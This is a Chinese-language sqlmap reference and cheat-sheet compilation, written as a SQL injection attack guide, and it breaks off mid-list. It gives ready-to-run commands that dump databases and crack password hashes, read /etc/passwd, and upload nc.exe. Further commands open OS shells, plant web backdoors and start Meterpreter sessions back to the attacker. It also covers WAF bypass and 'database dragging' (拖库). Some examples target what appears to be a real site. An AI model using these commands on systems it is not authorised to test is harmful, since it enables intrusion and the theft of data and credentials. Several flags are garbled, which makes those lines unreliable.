默认情况下sqlmap通过判断返回页面的不同来判断真假,但有时候这会产生误差,因为有的页面在每次刷新的时候都会返回不同的代码,比如页面当中包含一个动态的广告或者其他内容,这会导致sqlmap的误判。此时用户可以提供一个字符串或者一段正则匹配,在原始页面与真条件下的页面都存在的字符串,而错误页面中不存在(使用--string参数添加字符串,--regexp添加正则),同时用户可以提供一段字符串在原始页面与真条件下的页面都不存在的字符串,而错误页面中存在的字符串(--not-string添加)。用户也可以提供真与假条件返回的HTTP状态码不一样来注入,例如,响应200的时候为真,响应401的时候为假,可以添加参数--code=200。

参数:--text-only,--titles

有些时候用户知道真条件下的返回页面与假条件下返回页面是不同位置在哪里可以使用--text-only(HTTP响应体中不同)--titles(HTML的title标签中不同)

注入技术

测试是否是注入

参数:--technique

这个参数可以指定sqlmap使用的探测技术,默认情况下会测试所有的方式。支持的探测方式如下:

B: Boolean-based blind SQL injection(布尔型注入)
E: Error-based SQL injection(报错型注入)
U: UNION query SQL injection(可联合查询注入)
S: Stacked queries SQL injection(可多语句查询注入)
T: Time-based blind SQL injection(基于时间延迟注入)
设定延迟注入的时间

参数:--time-sec

当使用继续时间的盲注时,时刻使用--time-sec参数设定延时时间,默认是5秒。

设定UNION查询字段数

参数:--union-cols

默认情况下sqlmap测试UNION查询注入会测试1-10个字段数,当--level为5的时候他会增加测试到50个字段数。设定--union-cols的值应该是一段整数,如:12-16,是测试12-16个字段数

设定UNION查询使用的字符

参数:--union-char

默认情况下sqlmap针对UNION查询的注入会使用NULL字符,但是有些情况下会造成页面返回失败,而一个随机整数是成功的,这是你可以用--union-char只定UNION查询的字符。

二阶SQL注入

参数:--second-order

有些时候注入点输入的数据看返回结果的时候并不是当前的页面,而是另外的一个页面,这时候就需要你指定到哪个页面获取响应判断真假。--second-order后面跟一个判断页面的URL地址。

列数据

标志

参数:-b,--banner

大多数的数据库系统都有一个函数可以返回数据库的版本号,通常这个函数是version()或者变量@@version这主要取决与是什么数据库。

用户

参数:-current-user

在大多数据库中可以获取到管理数据的用户。

当前数据库

参数:--current-db

返还当前连接的数据库。

当前用户是否为管理用

参数:--is-dba

判断当前的用户是否为管理,是的话会返回True。

列数据库管理用户

参数:--users

当前用户有权限读取包含所有用户的表的权限时,就可以列出所有管理用户。

列出并破解数据库用户的hash

参数:--passwords

当前用户有权限读取包含用户密码的彪的权限时,sqlmap会现列举出用户,然后列出hash,并尝试破解。

例子:$ python sqlmap.py -u "http://192.168.136.131/sqlmap/pgsql/get_int.php?id=1" --passwords -v 1

可以看到sqlmap不仅勒出数据库的用户跟密码,同时也识别出是PostgreSQL数据库,并询问用户是否采用字典爆破的方式进行破解,这个爆破已经支持Oracle和Microsoft SQL Server。也可以提供-U参数来指定爆破哪个用户的hash。

列出数据库管理员权限

参数:--privileges

当前用户有权限读取包含所有用户的表的权限时,很可能列举出每个用户的权限,sqlmap将会告诉你哪个是数据库的超级管理员。也可以用-U参数指定你想看哪个用户的权限。

列出数据库管理员角色

参数:--roles

当前用户有权限读取包含所有用户的表的权限时,很可能列举出每个用户的角色,也可以用-U参数指定你想看哪个用户的角色。仅适用于当前数据库是Oracle的时候。

列出数据库系统的数据库

参数:--dbs

当前用户有权限读取包含所有数据库列表信息的表中的时候,即可列出所有的数据库。

列举数据库表

参数:--tables,--exclude-sysdbs,-D

当前用户有权限读取包含所有数据库表信息的表中的时候,即可列出一个特定数据的所有表。

如果你不提供-D参数来列指定的一个数据的时候,sqlmap会列出数据库所有库的所有表。

--exclude-sysdbs参数是指包含了所有的系统数据库。

需要注意的是在Oracle中你需要提供的是TABLESPACE_NAME而不是数据库名称。

列举数据库表中的字段

参数:--columns,-C,-T,-D

当前用户有权限读取包含所有数据库表信息的表中的时候,即可列出指定数据库表中的字段,同时也会列出字段的数据类型。

如果没有使用-D参数指定数据库时,默认会使用当前数据库。

列举一个SQLite的例子:$ python sqlmap.py -u "http://192.168.136.131/sqlmap/sqlite/get_int.php?id=1" --columns -D testdb -T users -C name

列举数据库系统的架构

参数:--schema,--exclude-sysdbs

用户可以用此参数获取数据库的架构,包含所有的数据库,表和字段,以及各自的类型。加上--exclude-sysdbs参数,将不会获取数据库自带的系统库内容。

MySQL例子:$ python sqlmap.py -u "http://192.168.48.130/sqlmap/mysql/get_int.php?id=1" --schema --batch --exclude-sysdbs

获取表中数据个数

参数:--count

有时候用户只想获取表中的数据个数而不是具体的内容,那么就可以使用这个参数。列举一个Microsoft SQL Server例子:

$ python sqlmap.py -u "http://192.168.21.129/sqlmap/mssql/iis/get_int.asp?id=1" --count -D testdb

获取整个表的数据

参数:--dump,-C,-T,-D,--start,--stop,--first,--last

如果当前管理员有权限读取数据库其中的一个表的话,那么就能获取真个表的所有内容。使用-D,-T参数指定想要获取哪个库的哪个表,不适用-D参数时,默认使用当前库。列举一个Firebird的例子:$ python sqlmap.py -u "http://192.168.136.131/sqlmap/firebird/get_int.php?id=1" --dump -T users

可以获取指定库中的所有表的内容,只用-dump跟-D参数(不使用-T与-C参数)。也可以用-dump跟-C获取指定的字段内容。sqlmap为每个表生成了一个CSV文件。如果你只想获取一段数据,可以使用--start和--stop参数,例如,你只想获取第一段数据可hi使用--stop 1,如果想获取第二段与第三段数据,使用参数 --start 1 --stop 3。也可以用--first与--last参数,获取第几个字符到第几个字符的内容,如果你想获取字段中地三个字符到第五个字符的内容,使用--first 3 --last 5,只在盲注的时候使用,因为其他方式可以准确的获取注入内容,不需要一个字符一个字符的猜解。

获取所有数据库表的内容

参数:--dump-all,--exclude-sysdbs

使用--dump-all参数获取所有数据库表的内容,可同时加上--exclude-sysdbs只获取用户数据库的表,需要注意在Microsoft SQL Server中master数据库没有考虑成为一个系统数据库,因为有的管理员会把他当初用户数据库一样来使用它。

搜索字段,表,数据库

参数:--search,-C,-T,-D

--search可以用来寻找特定的数据库名,所有数据库中的特定表名,所有数据库表中的特定字段。

可以在一下三种情况下使用:

-C后跟着用逗号分割的列名,将会在所有数据库表中搜索指定的列名。
-T后跟着用逗号分割的表名,将会在所有数据库中搜索指定的表名
-D后跟着用逗号分割的库名,将会在所有数据库中搜索指定的库名。
运行自定义的SQL语句

参数:--sql-query,--sql-shell

sqlmap会自动检测确定使用哪种SQL注入技术,如何插入检索语句。如果是SELECT查询语句,sqlap将会输出结果。如果是通过SQL注入执行其他语句,需要测试是否支持多语句执行SQL语句。列举一个Mircrosoft SQL Server 2000的例子:

$ python sqlmap.py -u "http://192.168.136.131/sqlmap/mssql/get_int.php?id=1" --sql-query "SELECT 'foo'" -v 1

$ python sqlmap.py -u "http://192.168.136.131/sqlmap/mssql/get_int.php?id=1" --sql-query "SELECT 'foo', 'bar'" -v 2

爆破

暴力破解表名

参数:--common-tables

当使用--tables无法获取到数据库的表时,可以使用此参数。

通常是如下情况:

1、MySQL数据库版本小于5.0,没有information_schema表。
2、数据库是Microssoft Access,系统表MSysObjects是不可读的(默认)。
3、当前用户没有权限读取系统中保存数据结构的表的权限。
暴力破解的表在txt/common-tables.txt文件中,你可以自己添加。 列举一个MySQL 4.1的例子:

$ python sqlmap.py -u "http://192.168.136.129/mysql/get_int_4.php?id=1" --common-tables -D testdb --banner

暴力破解列名

参数:--common-columns

与暴力破解表名一样,暴力跑的列名在txt/common-columns.txt中。

用户自定义函数注入

参数:--udf-inject,--shared-lib

你可以通过编译MySQL注入你自定义的函数(UDFs)或PostgreSQL在windows中共享库,DLL,或者Linux/Unix中共享对象,sqlmap将会问你一些问题,上传到服务器数据库自定义函数,然后根据你的选择执行他们,当你注入完成后,sqlmap将会移除它们。

系统文件操作

从数据库服务器中读取文件

参数:--file-read

当数据库为MySQL,PostgreSQL或Microsoft SQL Server,并且当前用户有权限使用特定的函数。读取的文件可以是文本也可以是二进制文件

列举一个Microsoft SQL Server 2005的例子:

$ python sqlmap.py -u "http://192.168.136.129/sqlmap/mssql/iis/get_str2.asp?name=luther" --file-read "C:/example.exe" -v 1

$ ls -l output/192.168.136.129/files/C__example.exe

$ file output/192.168.136.129/files/C__example.exe

把文件上传到数据库服务器中

参数:--file-write,--file-dest

当数据库为MySQL,PostgreSQL或Microsoft SQL Server,并且当前用户有权限使用特定的函数。上传的文件可以是文本也可以是二进制文件。

列举一个MySQL的例子:

$ file /software/nc.exe.packed
$ ls -l /software/nc.exe.packed
$ python sqlmap.py -u "http://192.168.136.129/sqlmap/mysql/get_int.aspx?id=1" --file-write "/software/nc.exe.packed" --file-dest "C:/WINDOWS/Temp/nc.exe" -v 1

运行任意操作系统命令

参数:--os-cmd,--os-shell

当数据库为MySQL,PostgreSQL或Microsoft SQL Server,并且当前用户有权限使用特定的函数。在MySQL、PostgreSQL,sqlmap上传一个二进制库,包含用户自定义的函数,sys_exec()和sys_eval()。那么他创建的这两个函数可以执行系统命令。在Microsoft SQL Server,sqlmap将会使用xp_cmdshell存储过程,如果被禁(在Microsoft SQL Server 2005及以上版本默认禁制),sqlmap会重新启用它,如果不存在,会自动创建。

列举一个PostgreSQL的例子:$ python sqlmap.py -u "http://192.168.136.131/sqlmap/pgsql/get_int.php?id=1" --os-cmd id -v 1

用--os-shell参数也可以模拟一个真实的shell,可以输入你想执行的命令。当不能执行多语句的时候(比如php或者asp的后端数据库为MySQL时),仍然可能使用INTO OUTFILE写进可写目录,来创建一个web后门。支持的语言:ASP、ASP.NET、JSP、PHP

Meterpreter配合使用

参数:--os-pwn,--os-smbrelay,--os-bof,--priv-esc,--msf-path,--tmp-path

当数据库为MySQL,PostgreSQL或Microsoft SQL Server,并且当前用户有权限使用特定的函数,可以在数据库与攻击者直接建立TCP连接,这个连接可以是一个交互式命令行的Meterpreter会话,sqlmap根据Metasploit生成shellcode,并有四种方式执行它:

1、通过用户自定义的sys_bineval()函数在内存中执行Metasplit的shellcode,支持MySQL和PostgreSQL数据库,参数:--os-pwn。
2、通过用户自定义的函数上传一个独立的payload执行,MySQL和PostgreSQL的sys_exec()函数,Microsoft SQL Server的xp_cmdshell()函数,参数:--os-pwn。
3、通过SMB攻击(MS08-068)来执行Metasploit的shellcode,当sqlmap获取到的权限足够高的时候(Linux/Unix的uid=0,Windows是Administrator),--os-smbrelay。
4、通过溢出Microsoft SQL Server 2000和2005的sp_replwritetovarbin存储过程(MS09-004),在内存中执行Metasploit的payload,参数:--os-bof

列举一个MySQL例子:

$ python sqlmap.py -u "http://192.168.136.129/sqlmap/mysql/iis/get_int_55.aspx?id=1" --os-pwn --msf-path /software/metasploit

默认情况下MySQL在Windows上以SYSTEM权限运行,PostgreSQL在Windows与Linux中是低权限运行,Microsoft SQL Server 2000默认是以SYSTEM权限运行,Microsoft SQL Server 2005与2008大部分是以NETWORK SERVICE有时是LOCAL SERVICE。

对Windows注册表操作

当数据库为MySQL,PostgreSQL或Microsoft SQL Server,并且当前web应用支持堆查询。 当然,当前连接数据库的用户也需要有权限操作注册表。

读取注册表值:参数:--reg-read
写入注册表值:参数:--reg-add
删除注册表值:参数:--reg-del
注册表辅助选项:参数:--reg-key,--reg-value,--reg-data,--reg-type

需要配合之前三个参数使用,例子:

$ python sqlmap.py -u http://192.168.136.129/sqlmap/pgsql/get_int.aspx?id=1 --reg-add --reg-key="HKEY_LOCAL_MACHINE\SOFTWARE\sqlmap" --reg-value=Test --reg-type=REG_SZ --reg-data=1

常规参数

从sqlite中读取session

参数:-s

sqlmap对每一个目标都会在output路径下自动生成一个SQLite文件,如果用户想指定读取的文件路径,就可以用这个参数。

保存HTTP(S)日志

参数:-t

这个参数需要跟一个文本文件,sqlmap会把HTTP(S)请求与响应的日志保存到那里。

非交互模式

参数:--batch

用此参数,不需要用户输入,将会使用sqlmap提示的默认值一直运行下去。

强制使用字符编码

参数:--charset

不使用sqlmap自动识别的(如HTTP头中的Content-Type)字符编码,强制指定字符编码如:--charset=GBK

爬行网站URL

参数:--crawl

sqlmap可以收集潜在的可能存在漏洞的连接,后面跟的参数是爬行的深度。

例子:$ python sqlmap.py -u "http://192.168.21.128/sqlmap/mysql/" --batch --crawl=3

规定输出到CSV中的分隔符

参数:--csv-del

当dump保存为CSV格式时(--dump-format=CSV),需要一个分隔符默认是逗号,用户也可以改为别的 如:--csv-del=";"

DBMS身份验证

参数:--dbms-cred

某些时候当前用户的权限不够,做某些操作会失败,如果知道高权限用户的密码,可以使用此参数,有的数据库有专门的运行机制,可以切换用户如Microsoft SQL Server的OPENROWSET函数

定义dump数据的格式

参数:--dump-format

输出的格式可定义为:CSV,HTML,SQLITE

预估完成时间

参数:--eta

可以计算注入数据的剩余时间。

例如Oracle的布尔型盲注:$ python sqlmap.py -u "http://192.168.136.131/sqlmap/oracle/get_int_bool.php?id=1" -b --eta

sqlmap先输出长度,预计完成时间,显示百分比,输出字符

刷新session文件

参数:--flush-session

如果不想用之前缓存这个目标的session文件,可以使用这个参数。 会清空之前的session,重新测试该目标。

自动获取form表单测试

参数:--forms

如果你想对一个页面的form表单中的参数测试,可以使用-r参数读取请求文件,或者通过--data参数测试。 但是当使用--forms参数时,sqlmap会自动从-u中的url获取页面中的表单进行测试。

忽略在会话文件中存储的查询结果

参数:--fresh-queries

忽略session文件保存的查询,重新查询。

使用DBMS的hex函数

参数:--hex

有时候字符编码的问题,可能导致数据丢失,可以使用hex函数来避免:

针对PostgreSQL例子:$ python sqlmap.py -u "http://192.168.48.130/sqlmap/pgsql/get_int.php?id=1" --banner --hex -v 3 --parse-errors

自定义输出的路径

参数:--output-dir

sqlmap默认把session文件跟结果文件保存在output文件夹下,用此参数可自定义输出路径 例如:--output-dir=/tmp

从响应中获取DBMS的错误信息

参数:--parse-errors

有时目标没有关闭DBMS的报错,当数据库语句错误时,会输出错误语句,用词参数可以会显出错误信息。

$ python sqlmap.py -u "http://192.168.21.129/sqlmap/mssql/iis/get_int.asp?id=1" --parse-errors

其他的一些参数

使用参数缩写。参数:-z

有使用参数太长太复杂,可以使用缩写模式。 例如:python sqlmap.py --batch --random-agent --ignore-proxy --technique=BEU -u "www.target.com/vuln.php?id=1"

可以写成:python sqlmap.py -z "bat,randoma,ign,tec=BEU" -u "www.target.com/vuln.php?id=1"

还有:python sqlmap.py --ignore-proxy --flush-session --technique=U --dump -D testdb -T users -u "www.target.com/vuln.php?id=1"

可以写成:python sqlmap.py -z "ign,flu,bat,tec=U,dump,D=testdb,T=users" -u "www.target.com/vuln.php?id=1"

成功SQL注入时警告 。参数:--alert

设定会发的答案。参数:--answers

当希望sqlmap提出输入时,自动输入自己想要的答案可以使用此参数: 例子:

$ python sqlmap.py -u "http://192.168.22.128/sqlmap/mysql/get_int.php?id=1"--technique=E --answers="extending=N" --batc

发现SQL注入时发出蜂鸣声。参数:--beep   。发现sql注入时,发出蜂鸣声。

启发式检测WAF/IPS/IDS保护。参数:--check-waf

WAF/IPS/IDS保护可能会对sqlmap造成很大的困扰,如果怀疑目标有此防护的话,可以使用此参数来测试。 sqlmap将会使用一个不存在的参数来注入测试

例如:&foobar=AND 1=1 UNION ALL SELECT 1,2,3,table_name FROM information_schema.tables WHERE 2>1

如果有保护的话可能返回结果会不同。

清理sqlmap的UDF(s)和表。参数:--cleanup 。清除sqlmap注入时产生的udf与表。

禁用彩色输出。参数:--disable-coloring。 sqlmap默认彩色输出,可以使用此参数,禁掉彩色输出。

使用指定的Google结果页面。参数:--gpage 。默认sqlmap使用前100个URL地址作为注入测试,结合此选项,可以指定页面的URL测试。

使用HTTP参数污染。参数:-hpp 。HTTP参数污染可能会绕过WAF/IPS/IDS保护机制,这个对ASP/IIS与ASP.NET/IIS平台很有效。

测试WAF/IPS/IDS保护 。参数:--identify-waf 。sqlmap可以尝试找出WAF/IPS/IDS保护,方便用户做出绕过方式。目前大约支持30种产品的识别。

例如对一个受到ModSecurity WAF保护的MySQL例子:$ python sqlmap.py -u "http://192.168.21.128/sqlmap/mysql/get_int.php?id=1" --identify-waf -v 3

模仿智能手机

参数:--mobile

有时服务端只接收移动端的访问,此时可以设定一个手机的User-Agent来模仿手机登陆。

例如:$ python sqlmap.py -u "http://www.target.com/vuln.php?id=1" --mobile

安全的删除output目录的文件

参数:--purge-output

有时需要删除结果文件,而不被恢复,可以使用此参数,原有文件将会被随机的一些文件覆盖。

例如:$ python sqlmap.py --purge-output -v 3

启发式判断注入

参数:--smart

有时对目标非常多的URL进行测试,为节省时间,只对能够快速判断为注入的报错点进行注入,可以使用此参数。

例子:$ python sqlmap.py -u "http://192.168.21.128/sqlmap/mysql/get_int.php?ca=17&user=foo&id=1" --batch --smart

初级用户向导参数

参数:--wizard 面向初级用户的参数,可以一步一步教你如何输入针对目标注入。$ python sqlmap.py --wizard



sqlmap 实战


sqlmap是一个灰常强大的sql注入检测与辅助工具,但是由于没有图形界面,基本上用起来比较麻烦,导致很多人可能宁愿用havij或者是pangolin也不愿意麻烦去翻帮助界面,我自己也是把很多语句贴到了一个记事本里面用,其实真正用起来也就5,6句,也不会太复杂,下文以php+mysql为例:


 
 
  1. 检查注入点 sqlmap -u "http://ooxx.com.tw/star_photo.php?artist_id=11"
  2. 列数据库信息 sqlmap -u "http://ooxx.com.tw/star_photo.php?artist_id=11" --dbs
  3. 指定库名列出所有表 sqlmap -u "http://ooxx.com.tw/star_photo.php?artist_id=11" - D vhost48330 --tables
  4. 指定库名表名列出所有字段 sqlmap -u "http://ooxx.com.tw/star_photo.php?artist_id=11" - D vhost48330 - T admin --columns
  5. 指定库名表名字段 dump出指定字段
  6. sqlmap -u "http://ooxx.com.tw/star_photo.php?artist_id=11" - D vhost48330 - T admin - C ac,id,password -- dump
  7. // -C 后面的参数可以加双引号,也可以不加
  8. 有几个参数可能会用到,直接加在最后面就可以了,更多详细参数见官方文档:
  9. --cookie= COOKIE 在需要登录的地方,需要登录后的cookie
  10. --proxy= "http://127.0.0.1:8087" 使用 HTTP代理隐藏自己的身份,比如使用goagent等
  11. --sql-query= QUERY 执行一个sql语句,不一定支持

Sqlmap注入技巧收集

收集了一些利用Sqlmap做注入测试的TIPS,其中也包含一点绕WAF的技巧,便于大家集中查阅。


 
 
  1. 当我们注射的时候,判断注入
  2. http:/ /site/script?id= 10
  3. http:/ /site/script?id= 11- 1 # 相当于 id=10
  4. http:/ /site/script?id=(select 10) # 相当于 id=10
  5. http:/ /site/script?id= 10 and 1= 1 # 失败
  6. 通过判断可发现 andor被过滤
  7. http:/ /site/script?id= 10# 失败
  8. http:/ /site/script?id= 10;– # 失败
  9. http:/ /site/script?id= 10);– # 失败
  10. http:/ /site/script?id= 10)subquery;– # 失败
  11. 你可以用burp的intruder的字典跑,但是仍然失败。
  12. 这里可以用到SQL语句的 case whenthenelseend语句
  13. CASE WHEN语句在DB2,ORACLE,SQL SERVER系列,SYBASE等大型数据库都受到支持,是标准的SQL语句。
  14. 可以这样子理解:CASE… WHEN… THEN …ELSE … END
  15. CASE WHEN 语法有两种情况:
  16. 第一种是CASE 后面不带表达式的;
  17. CASE WHEN expression THEN 操作 1
  18. WHEN expression THEN 操作 2
  19. .......
  20. ELSE 操作n
  21. END
  22. 第二种是CASE 后面带表达式的(而此时WHEN 后面的则是该表达式可能的值),通用。
  23. CASE expression
  24. WHEN expression值 1 THEN 操作 1
  25. WHEN expression值 2 THEN 操作 2
  26. .......
  27. ELSE 操作n
  28. END
  29. http:/ /host/script?id= 11-( case when 1= 1 then 1 else 0 end)
  30. 1= 11= 2测试
  31. http:/ /host/script?id= 10 # 当条件为真的时候
  32. http:/ /host/script?id= 11 # 当条件为假的时候
  33. 可以很明显的看到返回不同,然后可以判断注入。那么怎么能让sqlmap去识别呢?
  34. Sqlmap默认是自己寻找注入点的,但是你加上一个*,可以引导他。
  35. 语句
  36. sqlmap.py -u "http://host/script?id=11-(case when 1=1星号 then 1)"
  37. 注入最头痛的就是遇到过滤,sqlmap提供了字符转换的功能
  38. --tamper=between当然自己可以改写转换内容,文件在/tamper目录下。
  39. 关于post注入 sqlmap可以用-r参数 加载数据包
  40. sqlmap.py -r post.txt
  41. 继续补充一点: having xor等逻辑符号也可以判断注入。
  42. POST注入
  43. 有两种方法来进行post注入:
  44. 一种是使用--data参数,将post的key和value用“类似GET方式”来提交。
  45. 二是使用-r参数,sqlmap读取用户抓到的POST请求包,来进行POST注入检测。
  46. 查看payload
  47. 之前一直是加本地代理,然后用burpsuit来看sqlmap的payload,到现在才发现用-v参数就可以实现。
  48. 一直认为-v实现的只是控制警告,debug信息级别。
  49. 实际上使用-v 3就可以显示注入的payload, 4, 5, 6还可以显示HTTP请求,HTTP响应头和页面。
  50. 使用google搜索
  51. sqlmap可以测试google搜索结果中的sql注入,很强大的功能吧。使用方法是参数-g。不过感觉实际使用中这个用的还是很少的。
  52. 请求延时
  53. 在注入过程中请求太频繁的话可能会被防火墙拦截,这时候--delay参数就起作用了。可以设定两次HTTP请求间的延时。
  54. 有的web程序会在多次错误访问后屏蔽所有请求,这样就导致之后所有的测试无法进行,
  55. 绕过这个策略可以使用--safe-url,每隔一段时间去访问一个正常的页面。
  56. 伪静态页面
  57. 有些web服务器进行了url rewrite或者网站是伪静态的,无法直接提供测试参数,这样子可以使用*来代替要测试的参数。
  58. 执行系统命令
  59. 当数据库支持,并且当前用户有权限的时候,可以执行系统命令,使用--os-cmd或者--os-shell,
  60. 具体的讲,当可以执行多语句的时候,会尝试用UDF(MySQL,PostgrepSQL)或者xp_cmdshell(MSSQL)来执行系统命令。
  61. 不能执行多语句时,仍然会尝试创建一个webshell来执行语句,这时候就需要web的绝对路径了。
  62. 总体来说,成功率偏低,不过个人也有成功的经验~
  63. 测试等级
  64. sqlmap使用--level参数来进行不同全面性的测试,
  65. 默认为 1,不同的参数影响了使用哪些payload, 2时会进行cookie注入检测, 3时会进行useragent检测。

http://blackvan.blog.51cto.com/4427217/860508


 
 
  1. 1、sqlmap -u 注入点 // 扫描注入点
  2. 2、sqlmap -g "关键词" // 这是通过google搜索注入,现在还不可以,不知道是什么原因,可以直接修改为百度
  3. 3、python sqlmap.py -u "http://192.168.1.47/page.php?id=1&cat=2" -v 1
  4. 4、指定参数注入
  5. python sqlmap.py -u "http://192.168.1.47/page.php?id=1&cat=2" -v 1 -p "id"
  6. python sqlmap.py -u "http://192.168.1.47/page.php?id=1&cat=2" -v 1 -p "cat,id"
  7. 5、指定方法和post的数据
  8. python sqlmap.py -u "http://192.168.1.47/page.php" --method "POST" --data "id=1&cat=2"
  9. 6、指定cookie,可以注入一些需要登录的地址
  10. python sqlmap.py -u "http://192.168.1.47/page.php?id=1&cat=2" --cookie "COOKIE_VALUE"
  11. 7、通过代理注入
  12. python sqlmap.py -u "http://192.168.1.47/page.php?id=1&cat=2" --proxy "http://127.0.0.1:8118"
  13. 8、指定关键词,也可以不指定。程序会根据返回结果的hash自动判断
  14. python sqlmap.py -u "http://192.168.1.47/page.php?id=1&cat=2" -- string "STRING_ON_TRUE_PAGE"
  15. 9、指定数据,这样就不用猜测其他的数据库里。可以提高效率。
  16. --remote-dbms
  17. 10、指纹判别数据库类型
  18. python sqlmap.py -u "http://192.168.1.47/page.php?id=1&cat=2" -v 1 -f
  19. 11、获取banner信息
  20. python sqlmap.py -u "http://192.168.1.47/page.php?id=1&cat=2" -b
  21. 12、获取当前数据库,当前用户,所有用户,密码,所有可用数据库。
  22. python sqlmap.py -u "http://192.168.1.47/page.php?id=1&cat=2" --current-db
  23. python sqlmap.py -u "http://192.168.1.47/page.php?id=1&cat=2" --users
  24. python sqlmap.py -u "http://192.168.1.47/page.php?id=1&cat=2" --passwords
  25. python sqlmap.py -u "http://192.168.1.47/page.php?id=1&cat=2" --dbs
  26. python sqlmap.py -u "http://192.168.1.47/page.php?id=1&cat=2" --tables -D "information_schema"
  27. python sqlmap.py -u "http://192.168.1.47/page.php?id=1&cat=2" --columns -T "user" -D "mysql"
  28. 13、显示指定的文件内容,一般用于php
  29. python sqlmap.py -u "http://192.168.1.47/page.php?id=1&cat=2" --file-read /etc/passwd
  30. 14、执行你自己的sql语句。
  31. python sqlmap.py -u "http://192.168.1.47/page.php?id=1&cat=2" -v 1 --sql-query= "SELECT password FROM mysql.user WHERE user = 'root' LIMIT 0, 1"
  32. 15union注入
  33. python sqlmap.py -u "http://192.168.1.47/page.php?id=1&cat=2" -- union-check
  34. python sqlmap.py -u "http://192.168.1.47/page.php?id=1&cat=2" -v 1 -- union-use --banner
  35. 16、保存注入过程到一个文件,还可以从文件恢复出注入过程,很方便,一大特色。你可以在注入的时候中断,有时间再继续。
  36. python sqlmap.py -u "http://192.168.1.47/page.php?id=1&cat=2" -v 1 -b -o "sqlmap.log"
  37. python sqlmap.py -u "http://192.168.1.47/page.php?id=1&cat=2" -v 1 --banner -o "sqlmap.log" --resume

SQLMAP实战操作:

1. sqlmap注入拖库常用命令


 
 
  1. sqlmap.py -u "注入地址" -v 1 --dbs // 列举数据库
  2. sqlmap.py -u "注入地址" -v 1 --current-db // 当前数据库
  3. sqlmap.py -u "注入地址" -v 1 --users // 列数据库用户
  4. sqlmap.py -u "注入地址" -v 1 --current-user // 当前用户
  5. sqlmap.py -u "注入地址" -v 1 --tables - D "数据库" // 列举数据库的表名
  6. sqlmap.py -u "注入地址" -v 1 --columns - T "表名" - D "数据库" // 获取表的列名
  7. sqlmap.py -u "注入地址" -v 1 -- dump - C "字段,字段" - T "表名" - D "数据库" //获取表中的数据,包含列
  8. 已经开始拖库了, SQLMAP是非常人性化的,它会将获取的数据存储sqlmap/output/中、、、


2. ACCESS注入:


 
 
  1. sqlmap.py -u "url" /* -u为常规扫描参数 */
  2. sqlmap.py -u "url" --tables /* --tables猜数据库表 */
  3. sqlmap.py -u "url" --columns - T "表名" /* 列出指定表名。爆字段 */
  4. sqlmap.py -u "url" -- dump(脱裤) - T "表名" - C "字段名" /* –dump为拆解字段名会保存在sqlmap/output目录下。暴内容 */


3 .MYSQL注入:


 
 
  1. sqlmap.py -u "url" /* 扫描注入点 */
  2. sqlmap.py -u "url" --dbs /* 列出所有数据库 */
  3. sqlmap.py -u "url" --current-db /* 列出当前数据库 */
  4. sqlmap.py -u "url" --current-user /* 列出当前用户 */
  5. sqlmap.py -u "url" --tables - D "数据库名" /* 拆解数据库表 */
  6. sqlmap.py -u "url" --columns - T "表名" - D "数据库名" /* 拆解指定表字段名。即爆字段 */
  7. sqlmap.py -u "url" -- dump - C "字段名" - T "表名" - D "数据库" /* 即爆内容 */


4 .SQLSERVER数据库:


 
 
  1. sqlmap.py -u "url" /*扫描注入点*/
  2. sqlmap.py -u "url" --dbs /*列出所有数据库*/
  3. sqlmap.py -u "url" --current-db /*列出当前数据库*/
  4. sqlmap.py -u "url" --current-user /*列出当前用户*/
  5. sqlmap.py -u "url" --tables - D "当前数据库名" /*拆解当前数据库表*/
  6. sqlmap.py -u "url" --columns - T "要拆得的表名" - D "当前数据库名" /*拆解指定表字段名*/
  7. sqlmap.py -u "url" -- dump - C "字段名" - T "表名" - D "当前数据库"
  8. SQLSERVER操作和 MYSQL是一样的!!!常见的几种数据库!!!

5. COOKIE注入:


 
 
  1. sqlmap.py -u "www.xxx.com/asp 或者 www.xxx.com/php" --cookie "参数名如id=1" --level 2 /*level为提升权限*/
  2. sqlmap.py -u "http://127.0.0.1/base.php" --cookies "id=1" --dbs --level 2
  3. 什么数据库就按照上面的数据库加上cookie语句拆解就行了
  4. cookie注入
  5. url --cookie "id=" --table --level 2 //暴表
  6. url --cookie "id=" --columns - T 表名 --level 2 //获得字段
  7. url --cookie "id=" -- dump - T 表名 - C "字段名" --level 2 //获得内容
  8. 方法一:
  9. 假设有个网站,url地址为:http: //www.127.0.0.1/base32?id=45
  10. 假如想测试这个页面是否有cookie注入
  11. 采用的注入方式如下:sqlmap.py -u "http://www.127.0.0.1/base32" --data= "id=10" --dbs --level 2
  12. 解释: /*level 2是探测等级的意思,这里采用注入选择探测等级为2,当探测等级为2或2以上sqlmap是会尝试注入cookie参数的*/
  13. 方法二:
  14. sqlmap.py -u "存在注入url" --cookie= "抓包抓到的cookie"
  15. 或者是这样使用:sqlmap.py -u "存在注入url" --cookir= "抓包抓到的cookie" --level 2 //前面讲过了探测等级为2就注入cookie参数的


6 .POST注入:


 
 
  1. 抓包保存到SQLMAP目录下.txt的文件然后输入指令sqlmap.py -r xxx.txt /* xxx.txt为保存包文件的文件名 */
  2. sqlmap.py -u "url" -- data "POST参数" 或者 sqlmap.py -u "url" -- data= "POST参数"
  3. sqlmap post注入
  4. 我们在使用Sqlmap进行post型注入时,经常会出现请求遗漏导致注入失败的情况。这里分享一个小技巧,即结合burpsuite来使用sqlmap,
  5. 用这种方法进行post注入测试会更准确,操作起来也非常容易。
  6. 1. 浏览器打开目标地址http: // www.2cto.com /Login.asp
  7. 2. 配置burp代理( 127.0 .0 .1: 8080)以拦截请求
  8. 3. 点击login表单的submit按钮
  9. 4. 如下图,这时候Burp会拦截到了我们的登录POST请求
  10. 5. 把这个post请求复制为txt, 我这命名为search-test.txt 然后把它放至sqlmap目录下
  11. 6. 运行sqlmap并使用如下命令:
  12. ./sqlmap.py -r search-test.txt -p tfUPass
  13. 这里参数-r 是让sqlmap加载我们的post请求rsearch-test.txt,
  14. 而-p 大家应该比较熟悉,指定注入用的参数。
  15. Post注入
  16. 方法一:
  17. sqlmap.py -r test.txt -p “抓包到的post数据里面的其中一个post参数” --dbs
  18. 也可以sqlmap.py -d "提交的数据" -p
  19. 解释意思
  20. /*sqlamp进行post注入并且假如存在注入就返回数据库的信息,
  21. test.txt文档就是对网页抓到的包全选数据包内容然后保存为test.txt文件,
  22. 直接-r test.txt是把文档放在与sqlmap同一目录下的才行。-p是指定参数注入,更精准*/
  23. 假如不是放在与sqlmap同一目录下的话,那么就是sqlmap.py -r D:\test.txt -p “抓包到的post数据里面的其中一个post参数” --dbs
  24. 方法二:
